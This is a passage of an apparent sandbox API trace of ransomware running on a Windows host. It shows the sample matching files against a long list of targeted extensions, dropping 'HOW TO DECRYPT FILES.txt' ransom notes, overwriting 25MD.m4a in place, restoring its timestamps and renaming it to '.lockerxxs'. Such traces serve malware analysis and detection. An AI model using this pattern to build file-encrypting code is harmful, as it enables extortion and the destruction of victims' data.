(lpString="*.dbx") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.sql") returned 0 [0090.239] lstrlenA (lpString="*.sql") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.mdb") returned 0 [0090.239] lstrlenA (lpString="*.mdb") returned 5 [0090.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.fdb") returned 0 [0090.240] lstrlenA (lpString="*.fdb") returned 5 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.wab") returned 0 [0090.240] lstrlenA (lpString="*.wab") returned 5 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.dat") returned 0 [0090.240] lstrlenA (lpString="*.dat") returned 5 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.txt") returned 0 [0090.240] lstrlenA (lpString="*.txt") returned 5 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.jpeg") returned 0 [0090.240] lstrlenA (lpString="*.jpeg") returned 6 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.jpg") returned 0 [0090.240] lstrlenA (lpString="*.jpg") returned 5 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.png") returned 0 [0090.240] lstrlenA (lpString="*.png") returned 5 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.php") returned 0 [0090.240] lstrlenA (lpString="*.php") returned 5 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.cs") returned 0 [0090.240] lstrlenA (lpString="*.cs") returned 4 [0090.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.cpp") returned 0 [0090.241] lstrlenA (lpString="*.cpp") returned 5 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.rar") returned 0 [0090.241] lstrlenA (lpString="*.rar") returned 5 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.zip") returned 0 [0090.241] lstrlenA (lpString="*.zip") returned 5 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.html") returned 0 [0090.241] lstrlenA (lpString="*.html") returned 6 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.htm") returned 0 [0090.241] lstrlenA (lpString="*.htm") returned 5 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.xlsx") returned 0 [0090.241] lstrlenA (lpString="*.xlsx") returned 6 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.xls") returned 0 [0090.241] lstrlenA (lpString="*.xls") returned 5 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.mp4") returned 0 [0090.241] lstrlenA (lpString="*.mp4") returned 5 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.ppt") returned 0 [0090.241] lstrlenA (lpString="*.ppt") returned 5 [0090.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.pptx") returned 0 [0090.242] lstrlenA (lpString="*.pptx") returned 6 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.doc") returned 0 [0090.242] lstrlenA (lpString="*.doc") returned 5 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.dot") returned 0 [0090.242] lstrlenA (lpString="*.dot") returned 5 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.docx") returned 0 [0090.242] lstrlenA (lpString="*.docx") returned 6 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.7z") returned 0 [0090.242] lstrlenA (lpString="*.7z") returned 4 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.tar") returned 0 [0090.242] lstrlenA (lpString="*.tar") returned 5 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.bz2") returned 0 [0090.242] lstrlenA (lpString="*.bz2") returned 5 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.gz") returned 0 [0090.242] lstrlenA (lpString="*.gz") returned 4 [0090.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.mkv") returned 0 [0090.242] lstrlenA (lpString="*.mkv") returned 5 [0090.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.eml") returned 0 [0090.243] lstrlenA (lpString="*.eml") returned 5 [0090.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.msg") returned 0 [0090.243] lstrlenA (lpString="*.msg") returned 5 [0090.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.edb") returned 0 [0090.264] lstrlenA (lpString="*.edb") returned 5 [0090.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.accdb") returned 0 [0090.264] lstrlenA (lpString="*.accdb") returned 7 [0090.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.odb") returned 0 [0090.265] lstrlenA (lpString="*.odb") returned 5 [0090.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.java") returned 0 [0090.265] lstrlenA (lpString="*.java") returned 6 [0090.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.asm") returned 0 [0090.265] lstrlenA (lpString="*.asm") returned 5 [0090.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.pfx") returned 0 [0090.265] lstrlenA (lpString="*.pfx") returned 5 [0090.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.pem") returned 0 [0090.265] lstrlenA (lpString="*.pem") returned 5 [0090.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.p12") returned 0 [0090.265] lstrlenA (lpString="*.p12") returned 5 [0090.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", pszSpec="*.gpg") returned 0 [0090.265] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0090.265] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.265] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RecentPlaces.lnk") returned -1 [0090.266] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RecentPlaces.lnk") returned -1 [0090.266] lstrcmpiA (lpString1="", lpString2="RecentPlaces.lnk") returned -1 [0090.266] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned="Downloads.lnk" [0090.266] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" [0090.266] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="" [0090.266] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" [0090.266] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to decrypt files.txt")) returned 0x20 [0090.266] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="RecentPlaces.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" [0090.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk", pszSpec="*.ems") returned 0 [0090.266] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0090.266] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0090.267] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0090.267] lstrcmpA (lpString1=".", lpString2="Local Settings") returned -1 [0090.267] lstrcmpA (lpString1="..", lpString2="Local Settings") returned -1 [0090.267] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.267] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0090.267] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0090.267] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaad61e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdaad61e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x610063, cFileName="Music", cAlternateFileName="")) returned 1 [0090.267] lstrcmpA (lpString1=".", lpString2="Music") returned -1 [0090.267] lstrcmpA (lpString1="..", lpString2="Music") returned -1 [0090.267] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.267] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Music" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0090.267] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaad61e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdaad61e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0090.268] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.268] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaad61e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdaad61e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.268] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.268] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.268] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8358a5e0, ftCreationTime.dwHighDateTime=0x1d5dc35, ftLastAccessTime.dwLowDateTime=0x27aa6250, ftLastAccessTime.dwHighDateTime=0x1d5e708, ftLastWriteTime.dwLowDateTime=0x27aa6250, ftLastWriteTime.dwHighDateTime=0x1d5e708, nFileSizeHigh=0x0, nFileSizeLow=0x17e63, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="25MD.m4a", cAlternateFileName="")) returned 1 [0090.268] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.268] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="25MD.m4a") returned 1 [0090.268] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="25MD.m4a") returned 1 [0090.268] lstrcmpiA (lpString1="", lpString2="25MD.m4a") returned -1 [0090.268] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.*") returned="*.*" [0090.268] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0090.268] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="" [0090.269] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" [0090.269] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to decrypt files.txt")) returned 0xffffffff [0090.269] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.272] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.272] CloseHandle (hObject=0x88) returned 1 [0090.272] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="25MD.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a" [0090.272] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a" [0090.272] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a" [0090.272] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a." [0090.272] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a.lockerxxs" [0090.272] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\25md.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.273] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17e63 [0090.273] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x8358a5e0, dwHighDateTime=0x1d5dc35), lpLastAccessTime=0x407536*(dwLowDateTime=0x27aa6250, dwHighDateTime=0x1d5e708), lpLastWriteTime=0x40753e*(dwLowDateTime=0x27aa6250, dwHighDateTime=0x1d5e708)) returned 1 [0090.273] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.273] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x17e3d, lpOverlapped=0x0) returned 1 [0090.276] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a") returned="25MD.m4a" [0090.277] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.277] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x17e3d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x17e3d, lpOverlapped=0x0) returned 1 [0090.278] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.278] CloseHandle (hObject=0x88) returned 1 [0090.278] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\25md.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\25md.m4a.lockerxxs")) returned 1 [0090.279] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1bb5d0, ftCreationTime.dwHighDateTime=0x1d5e79a, ftLastAccessTime.dwLowDateTime=0x6406fb10, ftLastAccessTime.dwHighDateTime=0x1d5e4aa, ftLastWriteTime.dwLowDateTime=0x6406fb10, ftLastWriteTime.dwHighDateTime=0x1d5e4aa, nFileSizeHigh=0x0, nFileSizeLow=0x5335, dwReserved0=0x3a000339, dwReserved1=0x4e00c4, cFileName="5OvC.m4a", cAlternateFileName="")) returned 1 [0090.279] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.279] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5OvC.m4a") returned 1 [0090.280] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5OvC.m4a") returned 1 [0090.280] lstrcmpiA (lpString1="", lpString2="5OvC.m4a") returned -1 [0090.280] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\25MD.m4a") returned="25MD.m4a" [0090.280] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0090.280] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="" [0090.280] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" [0090.280] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to decrypt files.txt")) returned 0x20 [0090.280] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="5OvC.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a" [0090.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.ems") returned 0 [0090.280] lstrlenA (lpString="*.ems") returned 5 [0090.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.db") returned 0 [0090.280] lstrlenA (lpString="*.db") returned 4 [0090.280] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.dbf") returned 0 [0090.280] lstrlenA (lpString="*.dbf") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.myox") returned 0 [0090.281] lstrlenA (lpString="*.myox") returned 6 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.myo") returned 0 [0090.281] lstrlenA (lpString="*.myo") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qbw") returned 0 [0090.281] lstrlenA (lpString="*.qbw") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qbb") returned 0 [0090.281] lstrlenA (lpString="*.qbb") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qbm") returned 0 [0090.281] lstrlenA (lpString="*.qbm") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qbo") returned 0 [0090.281] lstrlenA (lpString="*.qbo") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qbx") returned 0 [0090.281] lstrlenA (lpString="*.qbx") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qba") returned 0 [0090.281] lstrlenA (lpString="*.qba") returned 5 [0090.281] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qby") returned 0 [0090.281] lstrlenA (lpString="*.qby") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.qbj") returned 0 [0090.282] lstrlenA (lpString="*.qbj") returned 5 [0090.282] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5OvC.m4a", pszSpec="*.ofx") returned 0 [0090.282] lstrlenA (lpString="*.ofx") returned 5 [0090.282] PathMatchSpecA 